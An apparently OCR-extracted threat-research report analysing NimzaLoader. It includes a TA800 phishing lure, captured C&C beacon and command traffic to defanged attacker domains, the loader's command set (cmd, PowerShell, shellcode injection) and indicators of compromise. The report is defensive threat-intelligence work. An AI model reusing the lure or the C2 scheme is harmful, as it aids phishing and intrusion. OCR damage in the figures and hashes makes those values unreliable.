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Proofpoint researchers observed an interesting email campaign by a threat actor we track as TA800. This actor

has predominantly used Bazaloader since April of 2020, but on February 3rd, 2021 they distributed a new

malware we are calling NimzalLoader. One of NimzalLoader’s distinguishing features is that it is written in the Nim
programming language to avoid detection, as reverse engineers may not be familiar with Nim’s implementation, or focused on
developing detection for it, and therefore tools and sandboxes may struggle to analyze samples of it.

There has been some initial analysis of the malware on Twitter indicating that it may just be another variant

of BazalLoader, of which there are many variants. On March 1st, Joshua Platt and Jason Reaves from Walmart put forth an
excellent writeup on this malware that they call Nimar Loader. Our independent analysis corroborates their analysis and
assertions that this malware is not a BazalLoader variant. Some of the major differences

between Nimzaloader and the BazalLoader variants that we’ve analyzed include:

o Written in a completely different programming language

« Doesn’t use the same code flattening obfuscator

¢ Doesn’t use the same style of string decryption

¢ Doesn’t use the same XOR/rotate based Windows API hashing algorithm

o Doesn’t use the same RC4 using dates as the key command and control (C&C) response decryption
o Doesn’t use a domain generation algorithm (DGA)

* Makes use of JSON in C&C communications

In this post we'll take a closer look at the email campaign and the malware.

Campaign Analysis

On February 3rd, 2021, Proofpoint observed a TA800 campaign distributing NimzalLoader. Consistent with previous activity,
this campaign utilized personalized details in its lure, including, the recipient’'s name and/or the company’s name. The
messages contained links, which in some cases were shortened links, purporting to be a link to a PDF preview, but instead
linked to GetResponse (an email marketing service) landing pages. The landing pages contained links to the “PDF” which
was the NimzalLoader executable hosted on Slack and used a fake Adobe icon in an attempt to fool the user.

RE: - presentation - Message (HTML)

Sent: Wed 2/3/2021 7.0 AM

Subject: : - presentation

Hello !

I am driving to the office, but I'm late. Excuse me.

I have to show you this presentation (PDF-preview) before 3 p.m.

Check it please: https://presentation-pdf-02-03-21.gr8.com/ (copy and paste to browser). I
will be soon.

With respect,

Sent from iphone

Figure 1: TA800 message linking to the GetResponse Landing Page
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https://malpedia.caad.fkie.fraunhofer.de/details/win.bazarbackdoor
https://nim-lang.org/
https://twitter.com/nim_lang/status/1301224693979131904
https://medium.com/walmartglobaltech/nimar-loader-4f61c090c49e

PRESENTATION.pdf
02/03/2021

P

PDF

SAVE TO PREVIEW

This file is ready to preview.

If it doesn't start automatically, click here.

Figure 2: TA800 GetResponse Landing page linking to the download of Nimzaloader

Malware Analysis

The sample with a SHA-256 hash

of 540c91d46a1aa2bb306f9cc15b93bdab6c4784047d64b95561cf2759368d3d1d was reverse engineered for this analysis. At
the time of research, the C&C servers were already down, so we also made use of a PCAP file uploaded to VirusTotal.

Nim Programming Language

NimzalLoader was developed using the Nim programming language. This can be seen by the various “nim” related strings in

the executable (Figure 3):

['s7 .rdata:0000000... 0000005F
E .rdata:0000000... 0000002C
rdata:0000000... 00000029
['S7 .rdata:0000000... 00000013
[57 .rdata:0000000... 00000037
[57 .rdata:0000000... 00000037
's'| rdata:0000000... 0000003B
's'| rdata:0000000... 00000025
's’| rdata:0000000... 00000027
's'| rdata:0000000... 00000035
rdata:0000000... 0000000E
rdata:0000000... 00000022
rdata:0000000... 0000005C
rdata:0000000... 0000002A
['57 .rdata:0000000... 00000025

@json.nim(293, 10) ‘father.kind == JArray’
@json.nim(367, 9) ‘objkind == JObject’
monocypher_nim.nim

v

@json.nim(485, 9) ‘not isNil(node)’

@utils.nim(12, 12) len(a) == len(b)’
@crypto.nim(50, 12) ‘len(sig) == sizeof(Signature)’
strformat.nim

@random.nim(568, 12) 'seed != 0

@json.nim(486, 9) ‘'node.kind == JObject’
@json.nim(485, 9) ‘not isNil(node)’

O OO0 0O00000nn

@iterators%(222, 11) ‘len(a) == L’ the length of the string changed while iterating over it

@monacypher_nim.nim(27, 12) ‘len(mac) == sizeof(Mac)"
@monocypher_nim.nim(17, 12) ‘len(key) == sizeof(Key)'
@monocypher_nim.nim(33, 12) len(nonce) == sizeof(Nonce)’

@iterators.nim(204, 11) ‘len(a) == L the length of the seq changed while iterating over it

llnim
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https://bazaar.abuse.ch/sample/540c91d46a1aa2bb306f9cc15b93bdab6c4784047d64b95561cf2759368d3d1d/
https://www.virustotal.com/gui/file/be498f46b5ebc2f64924853296b4d611b1bf16581d7dbab10b2e9a23edf04c8f/detection

Figure 3: Example of Nim related strings
String Encryption

Most of the strings used by the malware are encrypted when stored by using an XOR-based algorithm and a single key per
string. An IDA Python function of the algorithm will be available on our GitHub. Here is a listing of decrypted strings from the
analyzed sample:

e 1612963255.0039535
¢ 10cYomEXO0BsbkWCzLHRggQ==

e ;\r\n

* APISID

o CV54faklvNL14BrOvFgSiw==

« Cookie:

o GET

+ JSESSIONID

« SID

o WMCIf520RF4UAztWoqpcAtAdZeysf2IWiOFvVUE/L7Uc=
e \nn

e about

o e8chd40fda2500cd496b55df43402d8ed077b8cd965701a205¢17f2b0389fce
o hYLuwpX6qTSHW4zqip3prQ==
o hxxps://centralbancshares\.com
o hxxps://gariloy\.com

o hxxps://liqui-technik\.com

e job_id_header

o path_adj

¢ path_noun

e seq_num

o seq_total

e server_public_key

e user_agent

A few strings, mostly command names, are stored as stack strings instead of encrypted strings.
Expiration Date

One of the encrypted strings is a Unix epoch timestamp and is used as an expiration date for the malware. In the analyzed
sample, the expiration date was set to “1612963255.0039535” (e.g., Wednesday, February 10, 2021 1:20:55.003 PM GMT)
and the malware will not run after this date and time.

Configuration
The C&C URLs are stored as encrypted strings and in the analyzed sample were the following:

o hxxps://centralbancshares\.com
o hxxps://gariloy\.com
o hxxps://liqui-technik\.com

There is also an encrypted string that contains a C&C URL path component used in command requests. In the analyzed
sample this component was “about”.

Command and Control

C&C is HTTPS based. The initial beacon is called a “handshake” by the malware and an example looks like Figure 4:

5/9


https://github.com/EmergingThreats/threatresearch/blob/master/NimzaLoader/decrypt_str.py

GET / HTTP/1.1
Connection: Keep-Alive
Cookie: SID=tQS+oDHQCwkaBsX+LGnzsGXebq2IEBbs86rWDCIN14rz2y9X9Z4aD8tAnIkp@BFIB7bxeWH@s1Kn50lyb/Cc7GFZLGME/

IJyfIRg8E6bggZnSSVWQED8xqvIpoEVxX/F1rFOY5dedA]S5Fe71mVxchXtrSUnBRGrYDWSYtwfS5j5nGSH233V)J1jYzpX)Jz2Y1ikzal51nEH5I=;\r\n

Host: centralbancshares.com

HTTP/1.1 200 OK

Date: Wed, 03 Feb 2021 17:34:15 GMT

Content-Type: text/plain; charset=utf-8

Content-Length: 4080

Connection: keep-alive

Set-Cookie: __cfduid=d575157fb7337f44dcf@253a0fc69d6131612373655; expires=Fri, @5-Mar-21 17:34:15 GMT; path=/;
domain=.centralbancshares.com; HttpOnly; SameSite=Lax

CF-Cache-5tatus: DYNAMIC

cf-request-id: 080a8e98290000281efa213000000001

Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
Report-To: {"max_age":604800,"endpoints": [{"url":"https:\/\/a.nel.cloudflare.com\/report?
s=4cmzx87u0jwwdSMArhQHOIn6RUsemLs yqPtHHbpYVVL413tKPOSTLI%2ByPB%2B32%2Fvy4%2BbgxIp38fA9Z9Y0zbK
%2BZCkzUyujF4M7PPaDdoaNgS@L8BUIUB%3D" }], "group" : "cf-nel"}

NEL: {"max_age":604800,"report_to":"cf-nel"}

Server: cloudflare

CF-RAY: 61bdeb6d44d4c281e-5LC

Nd3gdcvujg2cxj iWTW/3qpM1u702s86joImztBhTzV2cemIJRonLlvcBeWyKPiVRSGQenvzEAIXzUQVT fNgGOALIPSAGCTxil

+08ggP jn@wICEdcQLANhKSTj6ga9Vj TqvkXV7akVgD fuC1PBMWEXB Le+W+NfGPuNey TUEPVDBTOCWBL/yFtf8ztYIXghIn3Inxvv
+faq595eRXXuUFXIAZvhWK1QEE6 fn7oVPkeymSroZ0i1XEQUG/HZ3G4Rozh4wdaCEcn+LONtHL rQhbwCy4isXASSz3qpSUTtQPmhy/1/
9eBmL4Kc7kIsnciFdZIJ1d4NaYqoedLj/yGLvWgbAdoj+ftcj LfELuzgyPNK1gMzVVN+n1VKYvDh87k5uXREKCGt+0ZHKIT8 ]z

Figure 4: Example handshake request and response

Encryption

The handshake is used to do a X2551 key exchange with the C&C server and retrieve some configuration items. The “SID”

value in the “Cookie” header request is base64 encoded. Once decoded, it contains the malware’s generated public key for the

key exchange and some additional data to decrypt the handshake response from the C&C server.

The C&C response can be decrypted by using this data along with some of the encrypted strings from the malware and some

looks like Figure 5:

{

"path_adj": "better-known",

"path_noun": "disassociation",

"seq_num": "bleached",

"seq_total": "packer",

"user_agent": "Mozilla/4.@ (compatible; MSIE 8.8; Windows NT 5.1)",
"job_id_header": "csrf-token",

"server_public_key": "IL+Itub@tn8o+jtgRdtUBlc+fvad9TS/k5NawlHm8CQ="

Figure 5: Example handshake response JSON object

It contains the following pieces:

path_adj — C&C URL component used in future C&C communications

path_noun - C&C URL component used in future C&C communications

seq_num — unknown (doesn’t seem to be used in the analyzed sample)

seq_total — used as a JSON field name in command responses to the C&C server (blue highlight in Figure 7 below)
user_agent — user agent used in future C&C communications

job_id_header — unknown (doesn’t seem to be used in the analyzed sample)

server_public_key — the C&C server’s public key used for the key exchange
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https://en.wikipedia.org/wiki/Curve25519
https://monocypher.org/
https://github.com/EmergingThreats/threatresearch/blob/master/NimzaLoader/decrypt_comms_vt_pcap.py

The key shared between the malware and C&C server via the key exchange will be used for future C&C
communications. Unfortunately, we were unable to derive the shared key used in the referenced PCAP to decrypt further
communication examples.

Future C&C URLSs are constructed using the configuration item mentioned above and the
received “path_adj” and “path_noun” components. Here is an example C&C URL for the reference PCAP:

hxxp://liqui-technik\.com/about/disassociation/better-known

Updated “path_adj” and “path_noun” components are sent in successive C&C responses via a response header whose name
is the previously set “path_noun”. This mechanism can be seen in the red highlights of Figures 6 and 7 below.

Once the handshake is completed, the remaining C&C communications are command requests and command responses.
An example command request looks like Figure 6:

GET /about/disassociation/better=-known HTTP/1.1

Connection: Keep-Alive

Cookie: JSESSIONID=GHZrbRzaIbS419YIdevyRw==;\r\n

User-Agent: Mozilla/4.@ (compatible; MSIE 8.98; Windows NT 5.1}
Host: liqui-technik.com

HTTP/1.1 2080 OK

Date: Wed, 03 Feb 2021 17:39:14 GMT
Content-Type: text/plain; charset=utf-8
Transfer-Encoding: chunked

tonnel:tmn‘ keep—e'u.ue

cf. q t-id: nl‘n‘l-nﬁ'-- leedla

Expect—(T: max-age=5604808, report- ur:-"httns.Hr!port uri.cloudflare. com/cdn-cgi/beacon/expect-ct™

Report-To: {"max_age":604800,"endpoints™: [{"url":"https:\/\/a.nel.cloudflare.com\/report?s=sgMhiScYBayM1znnWP1Qj eRWs8YIDM2GIt%2FLA5 i%2BLNutQb%2FEWLEEPP]236%2Bpwal6DXcD01%2BY]
#2B%2FMUlBnYxVk L tCelu52S411TF1GZ5AITWS6VAS3D%30" ] , "group™ : "cf-nel"}

NEL: {"max_age™:684800,"report_to":"cf-nel™}

Server: cloudflare

CF=RAY: 6lbdeelabd9228le-SLC

wALnPsTetwDI4zn3+X5YAVE | X1 122vxECY Ly3CO Lt rdUBwignOkktLg7TmKRDEALX1hLVPPrSPANTNNT/xY tnvmzOLBhzZ IWcBELDIRVd +FWVE5BT004u3 TO2AXDPExKLC+ePBTHTT /0I5 |4 jwkIGALLeaTGedY jUL+WIBZ/
DxE6qAABVXLAEIZT cI rPxESDTe rwIxVBXH

+L5+WIQHEKAZVIECPTHAAG Ly 74UBNSNRLX igmovuo Y 1Sz Jt0edAZ Ll j6uT SNk IN ACSMVUbWGNYNk7Ea1ii19iTkCHUBTGMT fMrioACPUVF UNNWVLZS ] ICYZ0DirhoRzs Y se3NBIIKSQHFELIKFE
dbvOp1MenGCAC jKCZ0QyQHze j95hQ L LEINDE <y F jUaMaePKoUP1KLT: 1DayYMbBU2AS E "1)ﬂ1)\"61bbJ12)Usl!\|'63rEmdP,.frchﬂPxﬁﬂxlslm1u‘fQ(:I|'9faTR.aleu!?ﬂQl6th?0ﬁ 127d2as IdESLSkBreF/
ZVDgBEREXMNCKaOPUiINLI7T+BOIVBL 14 ri+/ skuPd7nlvzGnS5932J0 ixWouGll/Ye2 TKRYTVL 75n2wlleNLBj 05E 1] BYwaXAmBeMpniWdd j WWaIQ3YBHam roCEdwXoZ/a87 kWIMIB1FynNI 1gHa 0 fHBA 1T fFGCm7n@kWFBoBUY 2/

N FBET zHgkMMaDwxj 51 TeETBHATxTW052RzIPqIINM5aCSgcpIWnMTw] BThUUPUbSYVZo17I005anC/ vG+T1 fwXK T s0im0Y 7XIXkePZFL 1 TFLGOSeWWoo+kTEARGZU Bd0j 8y gpINnVYSi0grUTGTZhX/

Rp2+k iV ENWu fOHKN 50RVIXTuSI 7hP/ jwCuUIDi3vH] R+oWCYSMPEpeqQhaMC ZE6HKB2 ToZUbZY xL iwH2 zyb/eeDBBxnC fQ fudktHIMj D/

961 RqIr5SqPLofMYOoNSFHeV f134quinLB3rvI8l xSBO0raTXSBFUNR1T 5 rwd EAXLGawv60Zvd/

erKATScB1tuVE4 zM443tXsXs3g redFpY fC8m1lymi35 zEvk fiwB6Y | GoeFKwsNKTWLUHpS JW4 115b 1037F8q spAWXz0KSSPOR1S swnZuybOgBIdVSw20nmBXTyMZM2 zyocXPsy tUn

+hqelX2VWeYUhkjnVeolll GwvOmkNNz t trDAS@Kscf Z15dhMgFnhyH1EDaLuh+sYVs5a85 lvIwCnE] /sWBZDGp1bD L 30ECUgKh TWI FRHoBoNPus rvfNrS ] 5+uChspYm) cpAB304rSp57ZqubLsKoS)86n T vbRe/

iMr fR1IDA] 9F v fCLVXMK Lbm2BO7gBC rGFOar+7YswC CylX tmgnOwKhC4Bt r0] @ePte fOBMSNEdoLW1] ulays94 1Fxn7 rkty/kSAgs IRNSUWMZ 2B 16 3qGU0e t cnZIBHTdqxMz FQ039nrY

+6rDNrf 4nqcaX20kgk I jNa j CSnS03d5XBy 6GKMSdc2WILOWKVAYFQzdTY1 c4du3LvNdhXGXga/ VnFdDOAG L /QdqSuZSply 22 /vuGTkh4qDLaad XX Jdc290g53SGNP | 15kS7Fobi j als gKWX caul 4] BhrgHvgxcws/
RCPZOC@IriWgveZ05Xvs260 rHSTCwLIGbMGmZ+AIL juILC ry6q+ibSxnnPTpSsoLcPpi Lkyl HywxBmgezL LL5YqQ4aGlac 5Lt Zy2C jVok I7G12cy SEmd LrCe+ LhnmHZWL s9GTSFIXIIVtCn11DF/

3tubN27aexVuRphBwvC rwC TZVVSEV1Skaa jLKLIPRYH4BYSBIG/ Xc+1it+qbRRAXEOY7S14n00Y rhDrg@412TTHRIJINZAVIRSNYIZIP/vE DTSNV TODZbdyaz fwYUMed cwDk LKEVID YUGNS CUWE 11 TZaX1KXz L1IUD/ VH+056x+/
whdRknrG+vX7h3gvgskj LT jWVDGBFEXmNF /016 jq3eayR3IZ] +ddmiz2VLLqVKapU LRvHEFq7g3CV sNimbG+WhkD7 / 40wo 32 nmveywTUshofdj 24Cm7NUj tg LdokF sdSo15xXZxsXvptIehs8/GehZUEVKWEYT pvooTyJLLISBsdHU
+53MBhilq/5L25uwY/LsZiBrG1tadfSno7 ssviMzvgkv7zhB15nmvgévryzf INISE/HodVrRtboeoD1LYIDrLO fCBIEXZNtEVqvnogne rkpGPBhCbwKBCXZAPTEUZkd LONFIRCIEP12zvkicondBEH11943MWTHIGVT

+5Gal yCWikNz++ZHBKTTF It 898 LNx+GRmAmP cObvLWhwMLK 7TmWv@E1Dtakg06 j JvoB+zvEQ4mTA ZDyxmYbn/

AdwiWBeKnMfeggrEb@r ITKFSX0n TMLYNVFt VWSx P4+8oHkt vBhZIbd3IvxYiHKS j rG5JaslrzCHednVn lgdyWvnuGXwl fS/ kRCZiR/HA5234E/

3utKINBOLhDyvsXIGZmTMnL7TBINEMNG18b1inS Xt tX fBHUD | kKe2f isxcpTynBLCF rDKAD4 LZAnRoqcSsscVZXzvIBzegk+tWIDSysFspBZLK/ T064FuLh1KI6x 10US iPvxSqdCUoDdBI PbyxYowD e f4509q) REG/
1znyvXPUyBTQIX/HABELS] /81xtdInRENgbDepN3BXZalRp/ 10U/ d LHGRZ IwYy 7 CEQUHSAK rt+Fnxq LdKzLHg3ID7wsvouSYRNSEVMwdy YuGz /65 1PnSTF fwaZewmikIK/

XMhHNGakQzy FFEwWpEQXzNewVRCO f4TAGHS nOMOVV tWBTLY STCae+k,/CvNSbt L+X1Fgh3c60 Lky LNT+V5+80Uj SuabLT LeLwX02]1cDI anﬂZlk?thZFkaI 2+Z0ulZEZNZpNBnTNwilBukIFQqreqblGl

+nXDZIxP. JCm3ax1 vrBLol8qcL ZICENTIPT298/ 1) Myc3hxKTv5+] swYAZRIacVDt: 1Gqk 3] tfkHpaF2 ZNTY 14@LWcN1 f 3uSKhw/

3czBNvrsAghQWy TRCxcQ790DAMMUgoata] x/ /1 9ePXVAMId32vbyopFt juwDd 19012Z/6820DgzGH | sooamuuwmcctmm mLY?mD#va%ttivntdwlv J92Gka7rCxTZgdxhUs0X11PkZLNIFqzm/

BOLICIWRNNG) T2vn3TYwgZSWSv | gBS LLCVSNLUMIAK ShEQDALTA/ LUW25520 pv/ Ayd ICWOwLky LAZXC/vJG] TQGI 7 cMDYF3Z+ecs 3NUF 7D/ apo  KBROUKGYN1G2sWNréK0CE5K

+BG5YTAPLUSYNT4LCPVRE] I008mmkS zRshY 19XvZCBha+q iGenbHGEAXUKEMW/ SgdyTY315wlogT J+yo TLY ST tErwSEB1T 1By jWPgHCHM+DM/ 04 P+TBsWaP+ysgRWhEVMISIqUPIBOSRS j 32 +eONmBISVhY  BLy4/ZxChs THUS/
VFOL/ TxdMwTOK1TD 2 1VT x0Y /GGKpTTWYFDC2 1/ BNZw3 i ZEKIF 206G/ 10d \3wc T9S j 6AG rF bDmgh 26 cQuh35AnAYI2 2 XWLH i FEeQXBXkYwXcnDbw2CyDZcNROIECEDEQo@Y

+04D1X12ZpT j kKWval j IHsZenLB fAmul xpyRzAS j 2GAZUBPGAGLYp LCZudUipT/n iLkfWOBNRVCUPZe sO96 T KRCPLe f kFGyOgB{ Y i9w1BIACF 9TWPOH/wreCL zhxyLwy f+il0wtu/ 1p2Btenas

MY4V] 62n1AxZ0E55rhunksmGhT THOFUWLb fynm7UaD kx0ms IKBe/ xuBIGVEQS @2vKLG/ E/NGESGWAZI AQUgTMXCIWBmUT Zj 3507 kh Ful+d2 yUMXYB] § TySt TSSEWRAGKGxX/

yYdwrywfPLecymaZUzgf CB4FADgRDHWG rY 3ITKMgMNT kGb@ 6nrull pvbQTENIT: j gsckina¥ rTCCpLwa3oGWN]dXzq4qobesYpYsxOL3cozTF30F1IrRr1KS 1yA/

priwXFriWQq9Es CJ‘DMDLTG(U*SEMN&IXMIPSHYDWLKGUX“2X:W?ZO5 rzC/

gdGUMBCva71sLMjkMLLbgaERQQ5q7STVLS roRmWe I1GjonIRj TP nhCz6sDVFEDgp2 pOVYULWE fRgX951055+mas2 jRSe JFBpDm3T LB cuWbRNXDzZ2 /NKTpW tW6 pHXKm6 2 DPNET 1kApD/
3BgrovebeScjndpnKtEUQ032BnG2YsFbwleAZ9YT4FWyAXqiAZpSCWRTVAGEQEquUSNUP3R/ j pkH z!chprstnvzonSGc 1hoha3hYj CRHIwGG /0ATTTa09 1 iegU0pbKMBRZ] iSOHAHULYT /VY+B851kfITLD
+Zpq3g8Ia+xn5ciNpaBEeSRYtI+abRXILpoorPKILAtqvpl pAlwyryRerWid71 /qqASXvpigh+VZHYmRWNOEpq LOBWSLAA+gC+Tsbqs fEVLXYUSPadsgHS j GEEWMZNG ZWEx0w] 9

Figure 6: Example command request

In the command request, the Cookie header “SID” value changes to a bot identifier. The response is encrypted using the
shared key and once decrypted contains a JSON object. It contains the following fields:

e job_id - identifier
e job — base64 encoded job details

Once decoded, “job” contains another JSON object containing:

* type — command
e args - command arguments

Commands will be detailed in the “Commands” section below.

An example command response looks like:
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POST /about/adviser/contagious HTTP/1.1

Connection: Keep-Alive

Content-Type: applicatien/json

Cookie: JSESSIONID=GHZrbRzaIb5419YILdmvyRw==;%\r\n

User-Agent: Mezilla/4.@ (compatible; MSIE 8.@; Windows NT 5.1)
Content-Length: 249

Host: centralbancshares.com

[ {"packer” : "B6eAtV793e60g0tga6Hwm} YX30] FEDBbHNVBOWPR1 511 LAKABDUKqY17GyaksNBUK LicedWs+0760vvd+kDPEeuTx/
aTvC T0Boe39nDcGyYIDosx2GvStZ5Z0211vaXh5 IhTmYxBPADKARKaMLI 0GOS 9mt Fy swnTPwqmx FEC fpIy rYLY falTglzspdvzBbgX903mniz fNkGhWYutVhud7edMOwozaGl/vidalYs="}HTTP/1.1 200

0K

Date: Wed, @83 Feb 2821 17:44:31 GMT

Content-Type: text/plain; charset=utf-8

Content-Length: 6@

Connection: keep-alive

Set-Cookie: __cfduid=d8fl4elcb738732602be25fea3idadb57d1612374271; expires=Fri, @5-Mar-21 17:44:31 GMT; path=/; domain=.centralbancshares.com; HttpOnly;

|ldviser: MCnvwb2hL+weUBhYXNFZBTc000LTquBnaLG?ststothzdpRemn9?eqdlij&Jr8F2rst(lhilBaaIhOLmPﬁnﬂTuvL:nmkcykItkf]
r. yzlr e g qy' al r araj==

CF-Cache-Status: DYNAMIC

cf=request-id: @880ad7fc 27e882al 1

Expect-CT: max-age=684800, report-uri="https:s/report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"

Report-To: {"endpoints”:[{"url”:"https:\/\/a.nel.cloudflare. com\/report?s=XaBaivmIzhi@TYZN5pi154 ] 148KHI4%2BhkxBbXCFKEZS59TgsIulBhusypr2s2FdDpHeSLGpUIND%2ZBTSVq
%2BtXZ8dsPLFDyS%2F8%2FHEPKIX@5 1g52Cnp%s2F17260%30" }1," max_age": 684808, "group”:"cf-nel"}

NEL: {"max_age":6@4808," report_to":"cf-nel”}

Server: cloudflare

CF-RAY: 61bdf5daB823d27ed-5LC

BmIHgzq7UzShNYAj6/DHw2kiZalpFolYgFa3dXSqlbisinDar jeGGtI48LE=

Figure 7: Example command response

Command responses are similar to requests and contain command outputs or error messages.
Commands

The following commands have been identified in NimzalLoader:

e cmd - execute cmd.exe command

* powershell - execute powershell.exe command

+ handshake - redo handshake

« shellcode - inject shellcode into a process as a thread

« command arguments are a JSON object containing:

¢ sc — hex-encoded and compressed shellcode

e prog - program to inject shellcode into

o heartbeat - used to update expiration date of the malware in memory

« command arguments are a JSON object containing:

e heartbeat - new expiration time

¢ sig - used in a signature check with an encrypted string
("e8cbd40fda2500cd496b55df43402d8ed077b8cd965701a205¢17f2b0389fce1" in the analyzed sample)

At the time of research, all known NimzalLoader C2s were already down, but a public malware sandbox run seems to show it
receiving a “powershell” command that ultimately delivered a Cobalt Strike beacon. We are unable to validate or confirm
this finding, but it does align with past TA800 tactics, techniques, and procedures (TTPs).

Conclusion

NimzalLoader is a new initial access malware being distributed and used by the TA800 threat actor. In 2020, we observed the
shift from TA800 distributing the Trick, with intermittent shifts to Buer Loader, and a consistent distribution of Bazaloader since
April 2020. There has been some research community analysis suggesting that NimzalLoader is just another variant

of BazalLoader, but based on our observations of significant differences, we are tracking this as a distinct malware family. There

has been some evidence suggesting NimzalLoader is being used to download and execute Cobalt Strike as its secondary
payload, but it is unclear whether this is its primary purpose. It is also unclear if Nimzaloader is just a blip on the radar for
TA800—and the wider threat landscape—or if Nimzaloader will be adopted by other threat actors in the same

way Bazalaoder has gained wide adoption. TA800 continues to integrate different tactics into their campaigns, with the latest
campaigns delivering Cobalt strike directly.

Indicators of Compromise

Indicator Type Notes
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https://tria.ge/210203-l7gxbpmxls/behavioral1
https://www.proofpoint.com/us/threat-insight/post/buer-new-loader-emerges-underground-marketplace

540c91d46a1aa2bb306f9cc15b93bdab6c4784047d64b95561cf2759368d3d1d  SHA-

NimzalLoader Reverse Engineered

256
centralbancshares\.com Domain C&C
gariloy\.com Domain C&C
liqui-technik\.com Domain C&C

52bbe09c7150ea66269c71bac8d0237fb0e6b0caed4ca63ab19807c310d6alaOb  SHA-
256
Emerging Threats Signatures
ETPRO TROJAN NimzaLoader Initial CnC Host Checkin
ETPRO TROJAN NimzalLoader CnC Activity M1
ETPRO TROJAN NimzalLoader CnC Activity M2

Subscribe to the Proofpoint Blog

NimzalLoader (PCAP)

9/9



